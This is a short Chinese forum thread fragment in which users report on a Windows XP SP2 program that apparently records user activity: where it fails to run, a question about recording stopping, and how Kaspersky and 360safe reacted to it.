好像能够查出来,并杀掉 在system权限的shell环境下 无法运行.切换到登陆用户权限也如此~请问楼主是什么问题呢?只有在本地登陆的情况下才能成功 忘记说了是在XPSP2的环境下本地登陆也不会成功 LZ为什么记录时开了多个文件窗口后不在记录的? 卡巴6.0.2.542 07年1月18日病毒库 未报,不过注册表被360safe拦截了。 [s:35]
页:
[1]
2